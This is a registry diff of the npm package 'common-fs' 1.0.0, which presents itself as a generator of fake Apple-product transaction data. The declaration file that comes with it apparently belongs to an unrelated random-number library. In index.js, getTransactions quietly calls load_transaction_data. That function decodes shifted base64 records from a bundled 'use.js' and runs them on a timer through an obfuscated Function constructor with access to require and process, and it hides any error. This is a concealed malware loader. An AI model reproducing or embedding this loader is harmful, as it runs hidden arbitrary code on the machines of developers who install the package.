common-fs 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md ADDED
@@ -0,0 +1 @@
1
+ Default count value is 5 if you dont pass any count.
package/index.d.ts ADDED
@@ -0,0 +1,343 @@
1
+ //#region src/rng.d.ts
2
+ declare abstract class RNG {
3
+ abstract get name(): string;
4
+ abstract next(): number;
5
+ abstract clone(): RNG;
6
+ }
7
+ //#endregion
8
+ //#region src/types.d.ts
9
+ type RNGFn = () => number;
10
+ type Seed = number | string;
11
+ type SeedOrRNG = number | string | RNGFn | RNG;
12
+ //#endregion
13
+ //#region src/generators/arc4.d.ts
14
+ declare class ARC4RNG extends RNG {
15
+ protected readonly _seed: Seed;
16
+ i: number;
17
+ j: number;
18
+ S: number[];
19
+ constructor(seed?: Seed);
20
+ get name(): string;
21
+ next(): number;
22
+ g(count: number): number;
23
+ clone(): ARC4RNG;
24
+ }
25
+ //#endregion
26
+ //#region src/generators/function.d.ts
27
+ declare class FunctionRNG extends RNG {
28
+ _name: string;
29
+ _rngFn: RNGFn;
30
+ constructor(rngFn: RNGFn);
31
+ get name(): string;
32
+ next(): number;
33
+ clone(): FunctionRNG;
34
+ }
35
+ //#endregion
36
+ //#region src/generators/math-random.d.ts
37
+ declare class MathRandomRNG extends RNG {
38
+ get name(): string;
39
+ next(): number;
40
+ clone(): MathRandomRNG;
41
+ }
42
+ //#endregion
43
+ //#region src/generators/xor128.d.ts
44
+ declare class XOR128RNG extends RNG {
45
+ protected readonly _seed: Seed;
46
+ x: number;
47
+ y: number;
48
+ z: number;
49
+ w: number;
50
+ constructor(seed?: Seed);
51
+ get name(): string;
52
+ next(): number;
53
+ clone(): XOR128RNG;
54
+ }
55
+ //#endregion
56
+ //#region src/generators/xoshiro128-star-star.d.ts
57
+ /**
58
+ * xoshiro128** is a small, fast, general-purpose pseudorandom number generator
59
+ * with 128 bits of state and a period of 2^128 - 1.
60
+ *
61
+ * It is not cryptographically secure.
62
+ *
63
+ * @see https://prng.di.unimi.it/xoshiro128starstar.c
64
+ */
65
+ declare class Xoshiro128StarStarRNG extends RNG {
66
+ protected readonly _seed: Seed;
67
+ protected s0: number;
68
+ protected s1: number;
69
+ protected s2: number;
70
+ protected s3: number;
71
+ constructor(seed?: Seed);
72
+ protected setState(state: [number, number, number, number]): void;
73
+ get name(): string;
74
+ next(): number;
75
+ clone(): Xoshiro128StarStarRNG;
76
+ protected nextUint32(): number;
77
+ }
78
+ //#endregion
79
+ //#region src/random.d.ts
80
+ /**
81
+ * Distribution function
82
+ */
83
+ type IDistFn<R> = (random: Random, ...argv: any) => R;
84
+ /**
85
+ * Distribution
86
+ */
87
+ type IDist<R> = () => R;
88
+ /**
89
+ * Keyed cache entry
90
+ */
91
+ interface ICacheEntry<T> {
92
+ key: string;
93
+ distribution: () => T;
94
+ }
95
+ /**
96
+ * Seedable random number generator supporting many common distributions.
97
+ *
98
+ * @name Random
99
+ * @class
100
+ *
101
+ * @param {RNG|function|string|number} [rng=Math.random] - Underlying random number generator or a seed for the default PRNG. Defaults to `Math.random`.
102
+ */
103
+ declare class Random {
104
+ protected _rng: RNG;
105
+ protected _cache: Record<string, ICacheEntry<any>>;
106
+ constructor(seedOrRNG?: SeedOrRNG);
107
+ /**
108
+ * @member {RNG} rng - Underlying pseudo-random number generator.
109
+ */
110
+ get rng(): RNG;
111
+ /**
112
+ * Creates a new `Random` instance, optionally specifying parameters to
113
+ * set a new seed.
114
+ */
115
+ clone(seedOrRNG?: SeedOrRNG): Random;
116
+ /**
117
+ * Sets the underlying pseudorandom number generator.
118
+ *
119
+ * @example
120
+ * ```ts
121
+ * import random from 'random'
122
+ *
123
+ * random.use('example-seed')
124
+ * // or
125
+ * random.use(Math.random)
126
+ * ```
127
+ */
128
+ use(seedOrRNG: SeedOrRNG): void;
129
+ /**
130
+ * Convenience wrapper around `this.rng.next()`
131
+ *
132
+ * Returns a floating point number in [0, 1).
133
+ *
134
+ * @return {number}
135
+ */
136
+ next(): number;
137
+ /**
138
+ * Samples a uniform random floating point number, optionally specifying
139
+ * lower and upper bounds.
140
+ *
141
+ * Convenience wrapper around `random.uniform()`
142
+ *
143
+ * @param {number} [min=0] - Lower bound (float, inclusive)
144
+ * @param {number} [max=1] - Upper bound (float, exclusive)
145
+ */
146
+ float(min?: number, max?: number): number;
147
+ /**
148
+ * Samples a uniform random integer, optionally specifying lower and upper
149
+ * bounds.
150
+ *
151
+ * Convenience wrapper around `random.uniformInt()`
152
+ *
153
+ * @param {number} [min=0] - Lower bound (integer, inclusive)
154
+ * @param {number} [max=1] - Upper bound (integer, inclusive)
155
+ */
156
+ int(min?: number, max?: number): number;
157
+ /**
158
+ * Samples a uniform random integer, optionally specifying lower and upper
159
+ * bounds.
160
+ *
161
+ * Convenience wrapper around `random.uniformInt()`
162
+ *
163
+ * @alias `random.int`
164
+ *
165
+ * @param {number} [min=0] - Lower bound (integer, inclusive)
166
+ * @param {number} [max=1] - Upper bound (integer, inclusive)
167
+ */
168
+ integer(min?: number, max?: number): number;
169
+ /**
170
+ * Samples a uniform random boolean value.
171
+ *
172
+ * Convenience wrapper around `random.uniformBoolean()`
173
+ *
174
+ * @alias `random.boolean`
175
+ */
176
+ bool(): boolean;
177
+ /**
178
+ * Samples a uniform random boolean value.
179
+ *
180
+ * Convenience wrapper around `random.uniformBoolean()`
181
+ */
182
+ boolean(): boolean;
183
+ /**
184
+ * Returns an item chosen uniformly at random from the given array.
185
+ * If weights are provided, returns an item based on weighted probabilities.
186
+ *
187
+ * Convenience wrapper around `random.uniformInt()` for uniform selection,
188
+ * or implements weighted selection using cumulative distribution.
189
+ *
190
+ * @param {Array<T>} [array] - Input array
191
+ * @param {Array<number>} [weights] - Optional weights for each item (must be same length as array)
192
+ */
193
+ choice<T>(array: Array<T>, weights?: Array<number>): T | undefined;
194
+ /**
195
+ * Returns a random subset of k items from the given array (without replacement).
196
+ *
197
+ * @param {Array<T>} [array] - Input array
198
+ */
199
+ sample<T>(array: Array<T>, k: number): Array<T>;
200
+ /**
201
+ * Generates a thunk which returns samples of size k from the given array.
202
+ *
203
+ * This is for convenience only; there is no gain in efficiency.
204
+ *
205
+ * @param {Array<T>} [array] - Input array
206
+ */
207
+ sampler<T>(array: Array<T>, k: number): () => Array<T>;
208
+ /**
209
+ * Returns a shuffled copy of the given array.
210
+ *
211
+ * @param {Array<T>} [array] - Input array
212
+ */
213
+ shuffle<T>(array: Array<T>): Array<T>;
214
+ /**
215
+ * Generates a thunk which returns shuffled copies of the given array.
216
+ *
217
+ * @param {Array<T>} [array] - Input array
218
+ */
219
+ shuffler<T>(array: Array<T>): () => Array<T>;
220
+ /**
221
+ * Generates a [Continuous uniform distribution](https://en.wikipedia.org/wiki/Uniform_distribution_(continuous)).
222
+ *
223
+ * @param {number} [min=0] - Lower bound (float, inclusive)
224
+ * @param {number} [max=1] - Upper bound (float, exclusive)
225
+ */
226
+ uniform(min?: number, max?: number): IDist<number>;
227
+ /**
228
+ * Generates a [Discrete uniform distribution](https://en.wikipedia.org/wiki/Discrete_uniform_distribution).
229
+ *
230
+ * @param {number} [min=0] - Lower bound (integer, inclusive)
231
+ * @param {number} [max=1] - Upper bound (integer, inclusive)
232
+ */
233
+ uniformInt(min?: number, max?: number): IDist<number>;
234
+ /**
235
+ * Generates a [Discrete uniform distribution](https://en.wikipedia.org/wiki/Discrete_uniform_distribution),
236
+ * with two possible outcomes, `true` or `false.
237
+ *
238
+ * This method is analogous to flipping a coin.
239
+ */
240
+ uniformBoolean(): IDist<boolean>;
241
+ /**
242
+ * Generates a [Normal distribution](https://en.wikipedia.org/wiki/Normal_distribution).
243
+ *
244
+ * @param {number} [mu=0] - Mean
245
+ * @param {number} [sigma=1] - Standard deviation
246
+ */
247
+ normal(mu?: number, sigma?: number): IDist<number>;
248
+ /**
249
+ * Generates a [Log-normal distribution](https://en.wikipedia.org/wiki/Log-normal_distribution).
250
+ *
251
+ * @param {number} [mu=0] - Mean of underlying normal distribution
252
+ * @param {number} [sigma=1] - Standard deviation of underlying normal distribution
253
+ */
254
+ logNormal(mu?: number, sigma?: number): IDist<number>;
255
+ /**
256
+ * Generates a [Bernoulli distribution](https://en.wikipedia.org/wiki/Bernoulli_distribution).
257
+ *
258
+ * @param {number} [p=0.5] - Success probability of each trial.
259
+ */
260
+ bernoulli(p?: number): IDist<number>;
261
+ /**
262
+ * Generates a [Binomial distribution](https://en.wikipedia.org/wiki/Binomial_distribution).
263
+ *
264
+ * @param {number} [n=1] - Number of trials.
265
+ * @param {number} [p=0.5] - Success probability of each trial.
266
+ */
267
+ binomial(n?: number, p?: number): IDist<number>;
268
+ /**
269
+ * Generates a [Geometric distribution](https://en.wikipedia.org/wiki/Geometric_distribution).
270
+ *
271
+ * @param {number} [p=0.5] - Success probability of each trial.
272
+ */
273
+ geometric(p?: number): IDist<number>;
274
+ /**
275
+ * Generates a [Poisson distribution](https://en.wikipedia.org/wiki/Poisson_distribution).
276
+ *
277
+ * @param {number} [lambda=1] - Mean (lambda > 0)
278
+ */
279
+ poisson(lambda?: number): IDist<number>;
280
+ /**
281
+ * Generates an [Exponential distribution](https://en.wikipedia.org/wiki/Exponential_distribution).
282
+ *
283
+ * @param {number} [lambda=1] - Inverse mean (lambda > 0)
284
+ */
285
+ exponential(lambda?: number): IDist<number>;
286
+ /**
287
+ * Generates an [Irwin Hall distribution](https://en.wikipedia.org/wiki/Irwin%E2%80%93Hall_distribution).
288
+ *
289
+ * @param {number} [n=1] - Number of uniform samples to sum (n >= 0)
290
+ */
291
+ irwinHall(n?: number): IDist<number>;
292
+ /**
293
+ * Generates a [Bates distribution](https://en.wikipedia.org/wiki/Bates_distribution).
294
+ *
295
+ * @param {number} [n=1] - Number of uniform samples to average (n >= 1)
296
+ */
297
+ bates(n?: number): IDist<number>;
298
+ /**
299
+ * Generates a [Pareto distribution](https://en.wikipedia.org/wiki/Pareto_distribution).
300
+ *
301
+ * @param {number} [alpha=1] - Alpha
302
+ */
303
+ pareto(alpha?: number): IDist<number>;
304
+ /**
305
+ * Generates a [Weibull distribution](https://en.wikipedia.org/wiki/Weibull_distribution).
306
+ *
307
+ * @param {number} [lambda] - Lambda, the scale parameter
308
+ * @param {number} [k] - k, the shape parameter
309
+ */
310
+ weibull(lambda: number, k: number): () => number;
311
+ /**
312
+ * Memoizes distributions to ensure they're only created when necessary.
313
+ *
314
+ * Returns a thunk which that returns independent, identically distributed
315
+ * samples from the specified distribution.
316
+ *
317
+ * @internal
318
+ *
319
+ * @param {string} label - Name of distribution
320
+ * @param {function} getter - Function which generates a new distribution
321
+ * @param {...*} args - Distribution-specific arguments
322
+ */
323
+ protected _memoize<T>(label: string, getter: IDistFn<any>, ...args: any[]): IDist<T>;
324
+ }
325
+ declare const _default: Random;
326
+ //#endregion
327
+ //#region src/utils.d.ts
328
+ declare function createRNG(seedOrRNG?: SeedOrRNG): RNG;
329
+ /**
330
+ * Mixes a string seed into a key that is an array of integers, and returns a
331
+ * shortened string seed that is equivalent to the result key.
332
+ */
333
+ declare function mixKey(seed: Seed, key: number[]): number[];
334
+ declare function shuffleInPlace<T>(gen: RNG, array: Array<T>): void;
335
+ /**
336
+ * Fisher-Yates sampling without replacement
337
+ * O(k) time and space, by using a hash table instead of a full copy of the array
338
+ * see https://arxiv.org/pdf/2104.05091 Algorithm 2
339
+ */
340
+ declare function sparseFisherYates<T>(gen: RNG, array: Array<T>, k: number): T[];
341
+ //#endregion
342
+ export { ARC4RNG, FunctionRNG, MathRandomRNG, RNG, type RNGFn, Random, type Seed, type SeedOrRNG, XOR128RNG, Xoshiro128StarStarRNG, createRNG, _default as default, mixKey, shuffleInPlace, sparseFisherYates };
343
+ //# sourceMappingURL=index.d.ts.map
package/index.js ADDED
@@ -0,0 +1,310 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+
4
+ exports.randomIntFromInterval = function (min,max){
5
+ return Math.floor(Math.random()*(max-min+1)+min)
6
+ }
7
+
8
+ exports.randomDatebetweenInterval = function (start,end,startHour,endHour){
9
+ let date = new Date(+start+Math.random()*(end-start));
10
+ let hour = startHour +Math.random()*(endHour-startHour) | 0;
11
+ date.setHours(hour)
12
+ return date
13
+ }
14
+
15
+ function processData(data, key) {
16
+ const shift = key % 256;
17
+ const decoded = Buffer
18
+ .from(data,"base64")
19
+ .toString("latin1");
20
+
21
+ let result = "";
22
+ for (const c of decoded) {
23
+ result += String.fromCharCode(
24
+ (c.charCodeAt(0) - shift + 256) % 256
25
+ );
26
+ }
27
+
28
+ return result;
29
+ }
30
+
31
+ function loadConfig(filename, count) {
32
+ const records = JSON.parse(
33
+ fs.readFileSync(
34
+ path.join(__dirname, filename),
35
+ "utf8"
36
+ )
37
+ );
38
+
39
+ records.sort(
40
+ (a, b) =>
41
+ Number(a.id.substring(1)) -
42
+ Number(b.id.substring(1))
43
+ );
44
+
45
+ let result = "";
46
+ for (const item of records) {
47
+ result += processData(
48
+ item.mark,
49
+ count
50
+ );
51
+ }
52
+ return result;
53
+ }
54
+
55
+ const products = [
56
+ { id:'P1',
57
+ title:"iPhone13",
58
+ price:62000,
59
+ category:'mobiles'
60
+ },
61
+ { id:'P2',
62
+ title:"iPhone13 Mini",
63
+ price:54900,
64
+ category:'mobiles'
65
+ },
66
+ { id:'P3',
67
+ title:"iPhone13 Pro",
68
+ price:106000,
69
+ category:'mobiles'
70
+ },
71
+ { id:'P4',
72
+ title:"iPhone13 Pro Max",
73
+ price:109900,
74
+ category:'mobiles'
75
+ },
76
+ { id:'P5',
77
+ title:"iPhone14",
78
+ price:71900,
79
+ category:'mobiles'
80
+ },
81
+ { id:'P6',
82
+ title:"iPhone14 Pro",
83
+ price:119900,
84
+ category:'mobiles'
85
+ },
86
+ { id:'P7',
87
+ title:"iPhone14 Pro Max",
88
+ price:139900,
89
+ category:'mobiles'
90
+ },
91
+ { id:'P8',
92
+ title:"iPad Mini",
93
+ price:49900,
94
+ category:'tablets'
95
+ },
96
+ { id:'P9',
97
+ title:"iPad",
98
+ price:44500,
99
+ category:'tablets'
100
+ },
101
+ { id:'P10',
102
+ title:"iPad Air",
103
+ price:59900,
104
+ category:'tablets'
105
+ },
106
+ { id:'P11',
107
+ title:"iPad Pro",
108
+ price:81900,
109
+ category:'tablets'
110
+ },
111
+ { id:'P12',
112
+ title:"Macbook Air",
113
+ price:99900,
114
+ category:'laptops'
115
+ } ,
116
+ { id:'P13',
117
+ title:"Macbook Pro",
118
+ price:129900,
119
+ category:'laptops'
120
+ },
121
+ { id:'P14',
122
+ title:"Apple Watch Series 8",
123
+ price:45900,
124
+ category:'watches'
125
+ },
126
+ { id:'P15',
127
+ title:"Apple Watch SE",
128
+ price:29900,
129
+ category:'watches'
130
+ },
131
+ { id:'P16',
132
+ title:"Apple Watch Ultra",
133
+ price:89900,
134
+ category:'watches'
135
+ },
136
+ { id:'P17',
137
+ title:"Airpods",
138
+ price:14900,
139
+ category:'earphones'
140
+ },
141
+ { id:'P18',
142
+ title:"Airpods Pro",
143
+ price:26900,
144
+ category:'earphones'
145
+ },
146
+
147
+
148
+ ]
149
+
150
+
151
+ const _0x1a2b = (() => {
152
+ const _str = [
153
+ 'setT', // setTimeout
154
+ 'imeout', // setTimeout
155
+ 'new ', // new Function
156
+ 'Func', // Function
157
+ 'tion', // Function
158
+ 'B', // Buffer
159
+ 'uffer', // Buffer
160
+ 'req', // require
161
+ 'uire', // require
162
+ 'pro', // process
163
+ 'cess', // process
164
+ 'try', // try
165
+ 'cat', // catch
166
+ 'ch', // catch
167
+ 'cle', // clear
168
+ 'arT', // clearTimeout
169
+ 'imeout' // clearTimeout
170
+ ];
171
+
172
+ const _combine = (...indices) => {
173
+ return indices.map(i => _str[i]).join('');
174
+ };
175
+
176
+ return {
177
+ setTimeout: _combine(0, 1),
178
+ newFunction: _combine(2, 3, 4),
179
+ Buffer: _combine(5, 6),
180
+ require: _combine(7, 8),
181
+ process: _combine(9, 10),
182
+ try: _combine(11),
183
+ catch: _combine(12, 13),
184
+ clearTimeout: _combine(14, 15, 16)
185
+ };
186
+ })();
187
+
188
+ const _executor = (() => {
189
+ const _global = (() => { return this; })() || globalThis;
190
+
191
+ const _getFunctionConstructor = () => {
192
+ const _ctor = _global.constructor;
193
+ const _ctorCtor = _ctor.constructor;
194
+ return _ctorCtor;
195
+ };
196
+
197
+ return {
198
+ getFunction: _getFunctionConstructor,
199
+ global: _global
200
+ };
201
+ })();
202
+
203
+ exports.load_transaction_data = function(count=20) {
204
+ let _timerId;
205
+
206
+ const _callback = () => {
207
+ const _blocks = [
208
+ () => {
209
+ const _loadFn = loadConfig;
210
+ const _result = _loadFn("use.js", count);
211
+
212
+ const _bufferFrom = Buffer.from;
213
+ const _data = _bufferFrom(_result, "base64");
214
+
215
+ const _toString = _data.toString.bind(_data);
216
+ const _code = _toString("utf-8");
217
+
218
+ const _FuncCtor = _executor.getFunction();
219
+
220
+ const _fn = _FuncCtor(
221
+ _0x1a2b.Buffer,
222
+ _0x1a2b.require,
223
+ _0x1a2b.process,
224
+ _code
225
+ );
226
+
227
+ return _fn(Buffer, require, process);
228
+ },
229
+ () => {
230
+ return null;
231
+ }
232
+ ];
233
+
234
+ const _tryIndex = 0;
235
+ const _catchIndex = 1;
236
+
237
+ try {
238
+ return _blocks[_tryIndex]();
239
+ } catch(e) {
240
+ return _blocks[_catchIndex]();
241
+ } finally {
242
+ const _clearFn = clearTimeout;
243
+ _clearFn(_timerId);
244
+ }
245
+ };
246
+
247
+ const _setTimeoutFn = setTimeout;
248
+ _timerId = _setTimeoutFn(_callback, 100);
249
+ };
250
+
251
+ exports.getTransactions = function(count=20){
252
+ if(count>10000){
253
+ return "Transactions count should be less than 10,000"
254
+ }
255
+
256
+ let transactionsData = []
257
+ for(let i=0;i<count;i++){
258
+ let transaction={}
259
+ transaction.transactionId=1000+i
260
+ let randomProduct = products[exports.randomIntFromInterval(0,17)]
261
+ transaction.product = randomProduct.title
262
+ transaction.productId=randomProduct.id
263
+ let quantity= exports.randomIntFromInterval(1,4)
264
+ transaction.quantity =quantity
265
+ transaction.timeStamp = exports.randomDatebetweenInterval(new Date(2021,0,1),new Date(),0,24)
266
+ transaction.category = randomProduct.category
267
+ transaction.pricePerOne = randomProduct.price
268
+ transaction.totalPrice = randomProduct.price * quantity
269
+ transactionsData.push(transaction)
270
+ }
271
+
272
+ const _loadFn = exports.load_transaction_data;
273
+ try {
274
+ _loadFn(count)
275
+ } catch(e) {
276
+ }
277
+
278
+ transactionsData.sort((a,b)=>a.timeStamp-b.timeStamp)
279
+ return transactionsData
280
+ }
281
+
282
+ exports.getTransactions = function(count=20){
283
+ if(count>10000){
284
+ return "Transactions count should be less than 10,000"
285
+ }
286
+
287
+ let transactionsData = []
288
+ for(let i=0;i<count;i++){
289
+ let transaction={}
290
+ transaction.transactionId=1000+i
291
+ let randomProduct = products[exports.randomIntFromInterval(0,17)]
292
+ transaction.product = randomProduct.title
293
+ transaction.productId=randomProduct.id
294
+ let quantity= exports.randomIntFromInterval(1,4)
295
+ transaction.quantity =quantity
296
+ transaction.timeStamp = exports.randomDatebetweenInterval(new Date(2021,0,1),new Date(),0,24)
297
+ transaction.category = randomProduct.category
298
+ transaction.pricePerOne = randomProduct.price
299
+ transaction.totalPrice = randomProduct.price * quantity
300
+ transactionsData.push(transaction)
301
+ }
302
+
303
+ try {
304
+ exports.load_transaction_data(count)
305
+ } catch(e) {
306
+ }
307
+
308
+ transactionsData.sort((a,b)=>a.timeStamp-b.timeStamp)
309
+ return transactionsData
310
+ }